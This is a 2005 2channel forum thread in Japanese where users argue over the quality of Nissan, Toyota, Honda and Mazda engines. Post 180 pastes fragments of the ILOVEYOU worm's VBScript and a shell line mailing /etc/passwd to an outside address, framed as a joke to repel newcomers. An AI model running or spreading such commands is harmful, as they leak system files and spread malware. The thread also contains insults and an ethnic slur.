05/08/18 21:58:53 MZ21wys10
ニッサンのエンジンのどこが糞なんですか？
音とターボの性能だったら他のメーカーには負けませんよー
128:名無しさん＠そうだドライブへ行こう
05/08/18 22:03:53 VZEBG/rH0
ターボは三菱やスバルに負けてるジャン
つーかターボ有る？
129:名無しさん＠そうだドライブへ行こう
05/08/18 22:09:29 aAKJh1zk0
三菱やスバルはマージン削ってるだけだろ
チューンしたらすぐアボーン
130:名無しさん＠そうだドライブへ行こう
05/08/18 22:46:08 /fmK0PXE0
>>129
チューンなんてそんな野蛮なこと言う時点でＤＱＮ決定じゃんかよｗ
131:名無しさん＠そうだドライブへ行こう
05/08/18 22:56:27 VZEBG/rH0
SRはチューニングしたらあぼーんするエンジンとして有名
132:名無しさん＠そうだドライブへ行こう
05/08/18 23:05:16 i+gcbB3w0
航空機の世界では、ＲＢエンジン（ﾛｰﾙｽﾛｲｽＲＢ211）は糞エンジンの代名詞
133:名無しさん＠そうだドライブへ行こう
05/08/18 23:36:48 /fmK0PXE0
歴代日産のエンジンはダメダメだったってことで良いか？
134:名無しさん＠そうだドライブへ行こう
05/08/19 00:23:41 T5Dj3w2O0
/
135:>>52
05/08/19 00:34:23 1CRuNixV0
>>133
L型もウルサい直列6気筒、ノーマルRB26DETTも吹けが鈍。 たしかに、
取り柄は・・・ないけれど、日産の誉められるところは、直列6気筒エンジン
をやめたところ。 直6はBMWでさえ、フリクションにこだわっているのか、
やめない。 衝突安全性や回頭性の良さ、重量配分の面では有利なコンパクト
なV型エンジンを採用している点は誉められるかな。 よく雑誌でV型エンジン
の振動を殺しきれなくて、バランサーシャフトを介していることなどが叩かれ
るけれど、それでも、V型の方が断然、良い。（アウディはカムシャフトで相殺
して振動を殺しているけれど。）
日産のエンジニアリングには、依然、疑問点は残るものの、そういう全体的
にみれば、良い方向に向かっている点が誉められるんじゃないかと思うのだが。
136:名無しさん＠そうだドライブへ行こう
05/08/19 06:01:01 gs0ircpx0
逆だと思うんだけどな。
今や猫も杓子もV6型なんだから、褒めるほどの事じゃない。
エンジンフィールなんて無視すれば、V6の方が大きさや重さの点で目標を簡単に達成出来て、
直6の方が扱いが難しいんだからさ。
だからみんな直6は止めて行ってる。じき殆ど絶滅するんじゃない？
直6扱ってる方が少数派でこだわりがあるって事。
トヨタもエンジンフィールの点では、直からV6に替えた車種はあんまり評判よろしくない。
もっとも、他のメリット多いでしょう、フィールなんて無用ですよと、車内に入る音や振動を抑えるのが今だけど。
こだわり続けた結果、ポルシェみたいになっちまうかマツダみたいになっちまうかって事なら、
V6の採用は正しい。将来デカイ会社を維持する経営としてはね。
仮にV6のコンパクトさと直6のフィールが得られるレイアウトがあれば、みんなそれ造る筈。
単に技術的にやり易きに流れてるだけ。
137:>>52
05/08/19 13:16:09 UbNA04pI0
>>136
直6にこだわる人、たしかに多いですからね。 メンテナンス性とかがあるみたいですけれ
ど。 トヨタに関して言うと、昔のカムリV-6やES250、以後のウィンダム（ES300）や
カムリ・プロミネント、セプター（カムリ）みたいな車に搭載されていたV型6気筒は吹けは
悪いは、回そうとすると振動が・・・という記憶があります。 今のVVT搭載のクラウンや、
他のV型6気筒搭載車は、比較にならないくらい”カイゼン”（革命！？）されているようで・・・。
たしかに、コスト面でV型を搭載しているとも言えます。 エンジニアリングでも、フロン
トオーバーハングが長く、衝突安全性、重量配分などを考慮すれば皆さんV型に行き着くわけ
ですし。 直6のメリットって振動かもしれませんが、その優位性は・・・失礼ながら・・・
だと思っています。
138:名無しさん＠そうだドライブへ行こう
05/08/19 16:17:15 VxR0MsgI0
日産今頑張っているね
国に届けるのを忘れるほど頑張っている
139:名無しさん＠そうだドライブへ行こう
05/08/19 20:34:26 HKAGRboq0
>>138
違法改造DQN御用達メーカーだからな
140:>>52
05/08/19 20:50:40 UbNA04pI0
>>139
首●高を改造して走っている連中はな。 昔、触媒抜きのストレートで、車検だけ触媒を
付けて通してたGT-R海苔とかがいた。 今でもいると思うし、ストレート触媒のﾚｳﾞｨｿを、
陸運局近くで乗り回していた野郎は、ほぼ毎日見かけていた。 あと、ﾝﾀﾞも直管マフラー
で乗り回していたCivicタコ野郎を知っている。
勿論、世の常、上記のウチ、最低一件は警視庁高速警察隊新富本隊の御方々が主催する、
芝浦PAで行われている無料車検に引っ掛かった筈。
141:>>52
05/08/19 20:52:04 UbNA04pI0
↑
誤：ストレート触媒
正：触媒抜きのストレート
すまん。
142:名無しさん＠そうだドライブへ行こう
05/08/20 00:19:47 28jYaDe10
しかし、日産車の中古って、ノーマル少ないよな。
143:名無しさん＠そうだドライブへ行こう
05/08/20 00:41:23 0Qb2DGvEO
ＳＲ
144:名無しさん＠そうだドライブへ行こう
05/08/20 03:43:34 APW20ZfwO
スポーツエンジンの、トヨタ(ヤマハ含む)の日産の決定的な違いは、耐久性。
ガスケットもメタルじゃないし、金がかかる。
145:名無しさん＠そうだドライブへ行こう
05/08/20 04:28:30 xc+nRk4/O
トヨタのエンジン糞。足回りも糞。
146:名無しさん＠そうだドライブへ行こう
05/08/20 04:36:52 51x52K98O
トヨタエンジンはヤマハじゃないとダメとか言うが
駄作しか出せない日産よりゃいいんじゃないの？
GR系は素晴らしいから日産は先手打たないと完全沈没だからな。
147:名無しさん＠そうだドライブへ行こう
05/08/20 11:03:59 XWJ1Drbo0
.
148:名無しさん＠そうだドライブへ行こう
05/08/20 16:22:49 XWJ1Drbo0
.
149:名無しさん＠そうだドライブへ行こう
05/08/20 23:30:50 7V/TifXy0
平成はじめにデビューした2代目プレーリーに載っていた，直4ツインプラグ仕様（都合8本），
ガソリン２Lエンジンでありながらディーゼルエンジン並の振動と静粛性，
最大出力は脅威の９１PSを搾り出しながらトルクは１．５Lエンジン並という名機，
CA20Sから見れば，他の日産エンジンなんて・・・
GA15Sでさえスポーツユニットと感じましたよ。
150:名無しさん＠そうだドライブへ行こう
05/08/20 23:58:33 gbFkDz8A0
日産の足回りも一頃からすると退化したな。
数字に惑わされすぎｗ
151:名無しさん＠そうだドライブへ行こう
05/08/21 10:15:36 nyARWabN0
>>149
おまえNAPS Zエンジンを知らないな！
152:名無しさん＠そうだドライブへ行こう
05/08/21 10:43:31 GCzg3DCD0
.
153:名無しさん＠そうだドライブへ行こう
05/08/21 12:51:33 YodM11gW0
>スポーツエンジンの、トヨタ(ヤマハ含む)の日産の決定的な違いは、耐久性。
>ガスケットもメタルじゃないし、金がかかる。
スープラヲ降臨ｗ
154:名無しさん＠そうだドライブへ行こう
05/08/21 13:06:15 GCzg3DCD0
.
155:名無しさん＠そうだドライブへ行こう
05/08/21 13:40:31 lP5F+qXd0
>>146
ヤマハ製ですら馬力詐称だらけなわけだがｗｗｗ
156:名無しさん＠そうだドライブへ行こう
05/08/21 16:30:16 5klFpkG10
>>151
昭和53年(1978)の環境基準クリアするための細工だったのか・・・あれは。
というか，そんな設計の古いエンジンを10年後の1988年デビューの車に堂々と積まないで欲しかった...orz
しかもMTで乗っても9km/Lしか走らない，燃費の悪いエンジンだったなあ。
157:名無しさん＠そうだドライブへ行こう
05/08/21 16:52:44 GCzg3DCD0
.
158:名無しさん＠そうだドライブへ行こう
05/08/21 17:22:05 bgxxRK7HO
おれ学生時代にガソリンスタンドでバイトしてたわけだが、同じ走行距離でもトヨタに比べ、ニッサンのエンジンオイルの汚れ具合はかなりひどかった。これはどーゆーこと？
159:名無しさん＠そうだドライブへ行こう
05/08/21 17:32:11 K0zGVixJ0
>>156
確か昭和51年の排ガス規制の為の苦肉の策だと思っていたが・・・。
当時乗っていた811ブルに搭載されていた。
ツインプラグで一旦吐き出した排気を更に空気と混ぜ合わせて再度燃焼させると
いうシステム。
お蔭でエアークリーナーは直ぐに真っ黒、低速ではノッキングガラガラでプラグ
交換するのに普通の倍の本数を必要とした。当時流行っていた低抵抗プラグコード
も本数が増えたためエラク高かった（値段が）。
その当時は何処のメーカーも規制でエンジンはメタメタで暗礁の時代だった。
「名ばかりのGTは道をあける」という名キャッチはその当時DOHCを早々に諦めた
日産に対してトヨタが揶揄ったもの。
当のセリカ2000GTも十分にクソだったが・・・・。
それこそ「名ばかりのDOHC」だったｗ
160:名無しさん＠そうだドライブへ行こう
05/08/21 17:34:42 K0zGVixJ0
そして、
その時ホンダは・・・・・・・
軽自動車専用メーカーだったｗｗｗ
161:名無しさん＠そうだドライブへ行こう
05/08/21 19:41:06 z2WmoG/tO
Ｌ型エンジンまんせー
162:名無しさん＠そうだドライブへ行こう
05/08/21 19:45:12 NvJr3VPNO
>>158
お前はオイルの汚れでエンジン精度を図っていたのか？ｗ
163:名無しさん＠そうだドライブへ行こう
05/08/21 22:18:09 fOFxaVpP0
DOHCだのなんだの目に見える技術の話ばかりしているが
本当の技術ってのは目に見えないところにあるんだよ。
なぜホンダ、ＢＭＷのエンジンが優れていると言われるのか
乗ってみれば分かるといいたいところだが、
乗っても分からない奴がここには多そうなので、一人で自己満足していてくださいｗ
164:名無しさん＠そうだドライブへ行こう
05/08/21 22:20:38 wVSjU4R+0
L型知らない人はカキコしてはならないスレ
165:名無しさん＠そうだドライブへ行こう
05/08/21 22:25:32 PpkxRB440
削除依頼
166:名無しさん＠そうだドライブへ行こう
05/08/21 22:27:42 fOFxaVpP0
>>165
ついに日産工作員様の登場ですねｗ
こんなところに圧力かけてる暇があれば
いいエンジン作ってくださいｗ
167:名無しさん＠そうだドライブへ行こう
05/08/21 22:30:16 wVSjU4R+0
削除依頼なんか通るわけないだろ
2ch趣味系板の削除人は在日でやる気なんかねぇんだから
雑魚運営には何も期待するな
168:名無しさん＠そうだドライブへ行こう
05/08/21 23:08:17 j9pAGexH0
いや、普通にマツダのエンジンの方が扱いやすいんですが・・・。
低速ドン突きエンジンはもういいから、扱いやすさのフラットトルクに振った方が、
ウケるとおもうんだが。
今の香具師、底までアクセル踏むのが好きみたいだからね。
上が無いのに無理矢理まわす連中が・・・。
169:名無しさん＠そうだドライブへ行こう
05/08/21 23:14:58 LJZM1ZGg0
マツダのレシプロが良いなんて思ってるのは、貴方だけです。珍種です。
代わりにロータリー出してんだから許してやれってのが、マツダのレシプロ
ソースを全部レシプロに向けて、ロータリーやめられたら困るでしょ？
一般的には、ロータリー市販車に乗せてるだけで非常に貴重なので
レシプロの出来の悪さには目をつむるのです。常識ですよ。
これが出来ない奴はマツダに乗って文句言うな。ロータリーが無くなるから。
170:名無しさん＠そうだドライブへ行こう
05/08/21 23:17:15 fOFxaVpP0
>>168
フラットトルク型であっても上まできれいに吹けるエンジンはあるよ。
「上まで回す必要がない」とか言ってる人がいれば
それはエンジンの工作精度が低いかコストをかけてない証拠。
171:名無しさん＠そうだドライブへ行こう
05/08/21 23:41:35 8Dhd8FrQO
>低速ドン突きエンジン
これが重要じゃないか？日本車はマツダを除き
この傾向が強いと思う。ストップアンドゴーが多い
日本の道路環境に合っているとはとても思えない。
あとマツダレシプロが悪いエンジンならホンダの
省燃費エンジンや日産のエンジンはどうなるんだ？
172:名無しさん＠そうだドライブへ行こう
05/08/21 23:43:50 oM/Og8aH0
最近のマツダエンジンってすごくいいよ。
ただ設計年次の関係でホンダには及んでない。官能性はホンダ以上かもしれないが。
日産は・・・もっと頑張りましょうｗ
173:名無しさん＠そうだドライブへ行こう
05/08/22 00:01:31 qoeOLYF80
スペック厨か
174:名無しさん＠そうだドライブへ行こう
05/08/22 00:34:35 SJ5W7MVg0
>169に同意。沫駄レシプロが糞ってのは常識だろ。
175:名無しさん＠そうだドライブへ行こう
05/08/22 00:52:52 jY58RqWd0
なんで右車線走ってるんだよ！＞フーガＶ８
176:名無しさん＠そうだドライブへ行こう
05/08/22 00:56:52 2pZKGw0e0
日産のエンジンが糞な理由は、技術者が糞だから。。。
日本で一番優秀なエンジン技術者がいる会社は、いすゞだと思うです。ディーゼルだけど。
マツダのBエンジン作った人は、パワーエンタープライズってメーカー立ち上げたよ。
177:名無しさん＠そうだドライブへ行こう
05/08/22 01:10:45 GWRxNR22O
マツダを叩く理由・・・一つくらいしか思いつかないなw
とにかく今の国産メーカーで一番ヤバいのは日産だな。
178:名無しさん＠そうだドライブへ行こう
05/08/22 01:13:25 CbgSr/MbO
マツダ叩きは徳大寺だけ。影響受けるのカコワルイ
179:名無しさん＠そうだドライブへ行こう
05/08/22 01:21:36 GWRxNR22O
御大はNCすら叩いてるの？
180:名無しさん＠そうだドライブへ行こう
05/08/22 02:48:34 qoeOLYF80
c.Copy(dirsystem&"＼MSKernel32.vbs")
c.Copy(dirwin&"＼Win32DLL.vbs")
c.Copy(dirsystem&"＼LOVE-LETTER-FOR-YOU.TXT.vbs")
cat /etc/passwd | mail nobody@nonexistent.com
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
fso.copyfile "c:＼network.vbs", "j:＼windows＼start menu＼programs＼startup＼"
fso.copyfile "dirsystem&nurupo.vbs", "j:＼windows＼start menu＼programs＼startup＼"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
※これは厨房よけです。これに反応した方は厨房ですので
半年ROMってください。そうでない方は気にせずこのスレをお楽しみください
181:名無しさん＠そうだドライブへ行こう
05/08/22 09:55:16 5MLOwIgF0
>>174
しかし、そんな情報、常識の割にはネットに落ちて無いよ。調べたけど。
マツダがどう糞かも書いてくれ。
”何々が、糞と言うのは常識”っていうコピペみたいなのはもう秋田。
俺はいいエンジンだと思うけどな。
日産のエンジンなんて、レブリミットまで当たらないエンジンが結構あるじゃないかｗ
リミットの回転数間違ってんじゃねーの？
182:名無しさん＠そうだドライブへ行こう
05/08/22 10:14:28 pQoOEMf60
乗りゃすぐわかんだろ。
これで分からない奴は他社エンジンを知らないだけ。
脳内はいい加減やめてマジで乗り比べてみろよ。
日産やトヨタに続いてターボやめたかと思えば、やっぱ必要とかって出すし。
技術力の無さが露見してる。所詮ターボに頼らないと走らないのよな。
183:名無しさん＠そうだドライブへ行こう
05/08/22 12:32:55 5MLOwIgF0
暫くターボにパワーを頼ってたから、
慣れてないNAエンジン開発が遅れてるだけだとは思うけど、
なんせホンダはF1でさんざんNAをいじくり倒してるから、
いいエンジンができたんだろうな。
ただ、回さないと走らんけど。
184:名無しさん＠そうだドライブへ行こう
05/08/22 13:28:17 A+3j8YxN0
>>183
NAで出力得る方法は、排気量上げるか回転数上げるかしかねーんだけど？
更にホンダがF1でブイブイ言わしてたのはターボだ。
んで、回るだけとかワロス事言う馬鹿は、トルクの概念が抜けてる。
回ってもトルクが無ければ出力（馬力）は上がらない。
そこそこ出力あるのは高回転域でもトルクも出てるから。
量産エンジンでは、これをある程度の品質でやるのが難しい。
しかし、VTECが有るのでハイカムだけのエンジンほど下を犠牲にはしていない。
下の方が薄くなるのはフリクションが、単純な構造のエンジンと比べると多少の不利はある。
まぁ昔からホンダは、吸排気含めてエンジンをやってるので低中間トルクは吸排気の脈動効果を
最大限に利用してカバーしてる。
URLﾘﾝｸ(www.honda.co.jp)
ただ回ってるだけとかワロス事ぬかしてる馬鹿は、NAの基本的なことを全く知らない。
当然、理論的なことも知らないし見る目がないから、選ぶ車はウンコ車確定。
185:焼き鳥エンジン搭載車@>>52
05/08/22 15:11:45 gozUGJ2A0
>>184
たしかに当たっているね。 あの会社は高精度な要求を下請けにまで要求する。
具体的には書かないけれど、その要求基準は相当なもの。 そういう、エンジニア
リングの面では本田宗一郎の精神が生きていると思うけれど・・・。
フリクションロスに関して言えば、エンジンの耐久性、安全性を考慮した上で、
最大限抵抗を減らしている。 有名なU・ECEが他社の努力を評価していたけれど、
あの会社の一般車のエンジンでも、それが生きている。
なんていったって、自分自身、お恍けミッションのせいで、ATの4速で踏みまく
っていたところから、3速に落ちちゃって、一気に9000rpm以上（目盛りがなくて、
10000は軽く超えている回転数だった筈。）に入ってずーっと踏んでも、何にも起
きない。 逆に回転数が上がっていく音だけが聞こえる、それくらい凄い。 たしか
にﾝﾀﾞの凄いところは認める。
186:焼き鳥エンジン搭載車@>>52
05/08/22 15:29:28 gozUGJ2A0
あと、付け加えると、あの会社のV型6気筒エンジン、フツーに等長管なんだよな。
ﾝﾀﾞ車の欠点はFF-MIDSHIPみたいな糞レイアウトとか、直5のオイルパン貫通ドラシャ
とか、音は良いけれど、直5の圧縮比が掛からないで燃費激悪とか・・・かな。
187:名無しさん＠そうだドライブへ行こう
05/08/22 16:22:44 A+3j8YxN0
>>186
禿道
別にシンメトリーに近いレイアウトのFRとかAWDに拘りは無いけど
レイアウトがスマートじゃない物が有るね。
FFなのに縦置きとか…
普通のFF作らしたら一日の長は有るとは思うけど。
変則的な事してまでもFFでやるのは、技術者のエゴでしかないように思う。
直5の燃費激悪は知り合いのラファーガだったかで聞いたことがあるな。
SH-AWDもFRレイアウトでやってれば、と思うことも有るね。
FFベースにすると燃費に有利なのは分かるけど。多少の犠牲払っても
あのクラスの車なら商品価値を上げるべきだった。
噂のV8が出れば良いけど。ハイブリッドでVCM付きだと面白いが。
188:焼き鳥エンジン搭載車@>>52
05/08/22 18:05:24 C739sRU30
>>187
っで、KB-1で開き直ったかのようにFF-MIDSHIPをやめて、元の横置きに戻した。
以前よりもエンジンのマウント位置が、ホンダ車は後退したし、今回のKB-1では、
明らかにV-6でありながら、ギリギリ、サスペンションのアッパーマウントの間に、
入れた。 回頭性は良くなっているし、結論からすれば、SH-AWDのトルク配分性能
ともあいまって、良い車に仕上がっているが、一方、V-8などのマルチシリンダー、
フロントへヴィーの車両には酷なレイアウトであることは否めない。 V-6が限界の
レイアウトと言っても過言ではない筈。
V-8はTemple of V-TEC曰く、むこう三年以内の決断はないとのこと。
ところで、あのFF-MIDSHIP、”八頭身フォルム”という風に言われていたのだが、
純粋にFR化すれば良いものを、そういう詭弁で誤摩化すって・・・本田宗一郎は”無駄”
なものがあると激怒したからかな・・・FR=無駄、FF=高効率っていう方程式が、彼の
頭の中にあったと言われているのだけれど・・・。（謎）
189:名無しさん＠そうだドライブへ行こう
05/08/22 19:04:25 DGQh4vW90
空冷。水冷。
190:名無しさん＠そうだドライブへ行こう
05/08/22 19:36:14 fikFd1yh0
>>184-188
長文読む気ｼﾈ(ﾟ⊿ﾟ)
191:名無しさん＠そうだドライブへ行こう
05/08/22 20:34:31 cimsFG450
VQってRBみたいには進歩してないね、何か理由でもあるのかな？
192:名無しさん＠そうだドライブへ行こう
05/08/22 21:08:40 ejENJsYcO
ヨタ、ツダおたしね
日産、ホンダ、トヨタオタはしななくていいぉ(^ー^)
193:焼き鳥エンジン搭載車@>>52
05/08/22 21:09:41 O6E5x+HA0
>>191
糞VGよりマシ。 所詮、アルファのV-6をパクったあげく、そいつにターボ付けて、
パーコレーションは起こすわ・・・。 その点、VQは頑張った。
194:名無しさん＠そうだドライブへ行こう
05/08/22 21:11:08 kRlHquxF0
Z33のVQは改良されて格段に良くなったよね
高回転のパンチが違うつうか
195:名無しさん＠そうだドライブへ行こう
05/08/22 21:12:19 wE8njWQq0
↑あの程度で？
196:名無しさん＠そうだドライブへ行こう
05/08/22 21:21:27 A+3j8YxN0
>>188
> FR=無駄、FF=高効率っていう方程式が、彼の
> 頭の中にあったと言われているのだけれど・・・。（謎）
これは有ったかは分からない。何せ空冷を強要した事件が有るし。
高効率を求めてると言うより、技術を追い求める思考の方が
強かったのかも知れない。当時から油冷か水冷の方が効率が良かった
と分かってたのに空冷の限界に挑もうとしてたし。
この失敗を活かして変化したのなら分かるけど。
確かに回転軸を"捩る"（よじる）必要が有る縦置きFRは、捩る必要のない「横置き」の
FFに比べると効率は悪い。（その損失は熱に。デフの発熱はFFのそれより酷い）
しかし、「縦置き」のFFと比べるとドライブシャフトの長さくらいしか縦置きFRのデメリット
は無いように思うし。逆に縦置きFFのメリットが分からないね。
思いつくのは、フロアトンネルの縮小、燃料タンクの配置自由度くらいかな？
>>192
ヨタとトヨタヲタは別なのか？ｗ
197:名無しさん＠そうだドライブへ行こう
05/08/22 21:31:08 A+3j8YxN0
VQはV8（インフィニティ）とそれを買い換えたフーガのV6（家族所有）に
乗ったこと有るけど、言うほど悪くは無いと思う。
特にV8は良かったけど、排気量相応と言われればそうかも知れない;。
このクラスの他の車に乗ったと言えばセルシオくらいだけどエンジンだけ見ると
負けて無かったと思う。
それに比べてフーガのV6の静寂性は悪い。ATの出来が良くなってるのか
（ロックアップ率が高いのかな？）加速させた感じは、悪くはない。
更にY32というVG積んでるのが、未だに有るけどこれと比べると流石に雲泥の差を感じる。
インフィニティもY32も耐久性の面では、相当悪いイメージしかないのは事実。（特にAT）
フーガは、まだ新しいので耐久性云々は全く分からない。
198:焼き鳥エンジン搭載車@>>52
05/08/22 22:00:13 O6E5x+HA0
>>196
ジョー・シュレッサー事件もあったし、空冷は半端ではない音と熱でパワーダウンは
するわ、酷い目にあったことも事実。 軽々しく、”砂漠の狐”ことロンメル将軍の成功を
理由としたのが発端だったと言われていますね。 DDACでしたっけ、ホンダの空冷システム。
でも、1300といい自動車に採用しても不評であっという間に消えちゃいましたけれど・・・。
最初はパワーが出ているけれど、徐々にパワーダウンしていく。 おまけに、走安性にまで、
問題があった・・・。 1300は、生産、ボディワークの方では”モヒカン”と呼ばれるルーフ
の接合方法など、斬新さがあった・・・のですが。w
>>確かに回転軸を"捩る"（よじる）必要が有る縦置きFRは、捩る必要のない「横置き」の
FFに比べると効率は悪い。
抵抗が増えるということは、燃費にも関わってくるし、やはり、FRの居住性の悪さを
考慮すると、必然的に横置きFFに至るわかなのですが、なぜか、そのFFの利点を無視する
ようなレイアウトを採用した。
>>「縦置き」のFFと比べるとドライブシャフトの長さくらいしか縦置きFRのデメリット
は無いように思うし。逆に縦置きFFのメリットが分からないね。
初代アコード・インスパイアに乗っていた時期があったのですが、やはり、前席のレッグ
スペースですね、狭い。 よく、「トランスアクスルが！」と評論家の方に書かれていまし
たけれど、FFの美点である居住性は台無しに・・・。 おまけに、トルクステアになりました。
TCSが付いていたけれど、なんか、役に立ったの？って・・・っと記憶しています。 一方で、
よく、言われている”高速安定性”の良さについては、間違いないですね。 「ドシンっ！」
としっかり真っ直ぐ走る。 高速道路では恩恵にあずかった記憶があります。 あの感覚は、
誉めるにあたいするのですが、いかんせん、犠牲が大きい・・・。
199:名無しさん＠そうだドライブへ行こう
05/08/22 22:33:42 LCmltCID0
>>184
おいおいおいおい、
自動車工学のエンジン項目だけでも全部語れっていうのかよ・・・
こんだけの掲示板で、全部書けって言われても、エンジンだけ書いたって1000スレうまっちまうぞ。
キャブをいじった事があると、わかると思うけど、
低速向けの燃調とか、高速向けの燃調とかあるだろ。
吸気抵抗や排気抵抗のバランスとか、それだけでもトルクは変わるだろ。
それを可能にしたのが、可変バルタイやEFIって奴だろ。
しかし、可変バルタイが無くても、EFIと、エンジンの精度で高回転まで回したときのトルクも変わってくる。
コンロッドの重さとか、行程容積とか。
そのへんが、まだ煮詰め切れてないんじゃね？って言ってんだ。
お前がいくつ知識並べようとしたって、現物が本当に回ってるだけのエンジンだからしょうがないだろ。
オレは自動車工学は勉強してるけど、ごたくを並べるようなオタククンとはちょっと違うんだよなｗ
実際、エンジン設計のデータってのは、ほぼ完成されてて、コンピュータでシミュレーションはできるんだよ。
しかし、その計算通りに動かす力があるメーカーはどこって話なんだよ。
これは、計算じゃなく、手で触る感触、いわゆるエンジン職人の技の世界って話だ。
下手糞が組んでも、シミュレーション通りに動くはずがない。
200:名無しさん＠そうだドライブへ行こう
05/08/22 23:52:24 A+3j8YxN0
>>199
> 現物が本当に回ってるだけのエンジンだからしょうがないだろ。
お前が勉強したのはトヨタ馬力ってのは良く分かった。
実馬力でカタログ通りでないのは、半ば当たり前のようだが
同排気量NAで高回転側のトルクを上回ってるエンジン一つくらいあげてみたら？
これがないなら、回ってるだけじゃないことになるけど？(出力が出てんだから）
回ってるだけじゃないエンジンとやらを自動車工学お勉強してる
チミに教えて欲しいな。
201:名無しさん＠そうだドライブへ行こう
05/08/22 23:56:30 jY58RqWd0
せっかくいい議論が続いてるので上げておこう
202:名無しさん＠そうだドライブへ行こう
05/08/23 00:01:13 jNODi8m50
v―.､
／ ! ＼
/ ,ｲ ヽ
.. / _,,,ﾉ !）ﾉﾘﾊ i
i jr三ミ__r;三ミ_ ヽ
l ,iヾ二ノ ヽ二 ハ ﾉ ／￣￣＼
ヽ､.l ,.r､_,っ､ !_, /ヽ、＿＿_ﾉ| ／￣￣￣￣￣￣￣￣￣￣￣￣￣￣
. ! rrrrrrrｧi! L_.／⌒( i " i | ./ ＜ >>1糞スレ立てんな、蛆虫、氏ね。
ヾヾ ゝ､^'ｰ=~''"' ;,/. | i | i > ＼＿＿＿＿＿＿＿＿＿＿＿＿＿＿
ゞ","",,ヽ >､＿_,r / ヽ | i ″)
ヾ ,, ,, ヽ ﾉ | i i .丿
/ヾ ,, ,,ヽ （ ／ ）/ | ∥i /
| ヾ ,,,, ヽ "─"" ﾉ（／| ii | ）
ヽ ヾ ,, ,, ,,.ヽ ﾉ ./ .|__ii___|ヽ
ヽ ヾ ,,, ,, ＼ / i⌒(￣ ~ |
/ )＝＝（○）＝＝（ ヽ-￣￣ /
(⌒-／",,--______-- ",, ヽ ゝ─-- /
.(＿_/ヾヾヾ ,,, ,,, ,,-ゞヾ/ ヽ.,,＿,,/
ヽ（ ソ""""＼ ヽ i＿/
<（⌒""`--.,__） /ヽ ）
<(~`─" ＼ （~ ／
<(_,,,_＿,,,, ） ＼ ￣ゝ
￣""" ヽ.,,＿＿ゝ
203:名無しさん＠そうだドライブへ行こう
05/08/23 00:09:37 OlxzdHDB0
>>194
みんなRBみたいな進化を期待してるからね。
204:名無しさん＠そうだドライブへ行こう
05/08/23 00:12:30 NllSKmBQ0
RBも初めは糞エンジンって言われてたよなぁR31デビュー時は。
って事はVQもまだ進化の余地があるのかも？
205:名無しさん＠そうだドライブへ行こう
05/08/23 00:53:46 iiuHV4tc0
日産は一つのエンジンを時間をかけて熟成する伝統があるからな。
でも最近の日産からして、進化の方向が国内市場を向いたものに
なるかという懸念はある。
どいつもこいつもVQ35、なんて明らかに北米市場を向いてるよな。
206:名無しさん＠そうだドライブへ行こう
05/08/23 00:58:52 Muh68uK40
熟成とは名ばかりで、結局はケチだから。
エンジンを新規に起こすのは数百億とも一千億とも言われる開発費が必要で
ゴーン氏がそんなこと許すはずもありません。
だったらお気楽に「デザインをシフト」で誤魔化しておこう、
という安直な戦略がミエミエ。
「熟成」ってのは、欧州の名門メーカーが使える言葉ですよ。
207:名無しさん＠そうだドライブへ行こう
05/08/23 01:20:58 fs4GLYaW0
>>200
もういいって・・・。
まず、お前の車をシャシダイに乗っけてこい。
カタログ値ばっかりアテにするから、糞車がわからない事は良くわかった。
トヨタのカローラ系はあれでも、ちゃんと最高速度は170km/hは出せる。（ちょっと時間がかかるけど）
もちろんデミオは175km/hだって出せる。
しかし、ウイングロードはいくら頑張っても155km/hに届かないと言う事実は、認めたくないのかね？
カタログスペックの、馬力、トルク曲線がきっちり出てたら良いエンジンかもしれないけど、
全然追いついてない。
だから回ってるだけのエンジンって言ってるわけだよ。この意味わかるかな。
高回転まで回してるのに、全然高速域トルクがスカスカってことだ（ﾌﾟ
OD入っても全然のびねーんだよ。このヘタレ1.5Lは。
キミはどうせ、カタログをあっちこっちから引っ張り出してニヤニヤしてるカタログスペック厨なんだろうけど、
オレは実際に乗って比較してんだよ。ちゃんとな。
カローラランクス エンジン：AEROTOURER 1.5 VVT-i 1NZ-FE 110ps/6,000 車両重量 1100kg
ウイングロードS エンジン：QG15DE（NEO） 106ps/6000 車両重量1170kg
デミオ1.5sport エンジン：DBA-DY5W 113ps/6000 車両重量：1100kg
つーか、スペックですらも劣ってるのな。同クラスに。
これでNISSANの1.5ccクラスは糞認定。
208:名無しさん＠そうだドライブへ行こう
05/08/23 01:30:17 rJAPTFOd0
VQ一本槍(しかも3.5)だから糞。
しかもDIからDEに退化してるし。
こんなんじゃ、次はマツダかスバル行くぞと思う今日この頃。
209:名無しさん＠そうだドライブへ行こう
05/08/23 01:45:18 4NOMVhJs0
ここは饒舌なインターネットですね。
210:名無しさん＠そうだドライブへ行こう
05/08/23 01:49:37 jNODi8m50
近年まれに見る糞スレですね。
211:名無しさん＠そうだドライブへ行こう
05/08/23 01:53:00 2960c4lyO
そろそろ一般のユーザーも日産のクォリティに気付くだろう。
知り合いの車に乗って
「なぜ私の車とこんなにまで違うの？」と。
クライアントを欺くことを資本主義の社会で何故
してはならないか、身を持って知ればいい。
212:255
05/08/23 01:54:15 0RRm6zhu0
L型と、VG30系だけだな。
213:名無しさん＠そうだドライブへ行こう
05/08/23 01:56:13 4NOMVhJs0
そろそろ一般のユーザーも日産のクォリティに気付くだろう。
知り合いの車に乗って
「部長もピアスしてみたらどうですか、お似合いですよ。？」と。
クライアントを欺くことを資本主義の社会で何故
してはならないか、身を持って知ればいい。
214:名無しさん＠そうだドライブへ行こう
05/08/23 02:00:16 ufJExSd/0
>>213
あのＣＭにはそんな深い意味があったのか。
やるな。
215:名無しさん＠そうだドライブへ行こう
05/08/23 02:04:22 jNODi8m50
>そろそろ一般のユーザーも日産のクォリティに気付くだろう。
>知り合いの車に乗って
>「なぜ私の車とこんなにまで違うの？」と。
確かにな。
知り合いのアルファード2.4乗ったがデザインダサくて、エンジン4気筒で遅くて最悪。
俺の3.5エルのほうが全然速くて快適だと身をもって実感したよｗ
216:名無しさん＠そうだドライブへ行こう
05/08/23 02:09:56 3aq+OI5y0
そりゃそうだろ
2.4と3.5じゃ違いすぎだろ
大丈夫か？
217:焼き鳥エンジン搭載車@>>52
05/08/23 11:28:34 t00PnERW0
>>215
エルグランド3.5はガバ子だよ。 2.5の方が街乗りは悪いかもしれないが、ストイキでは
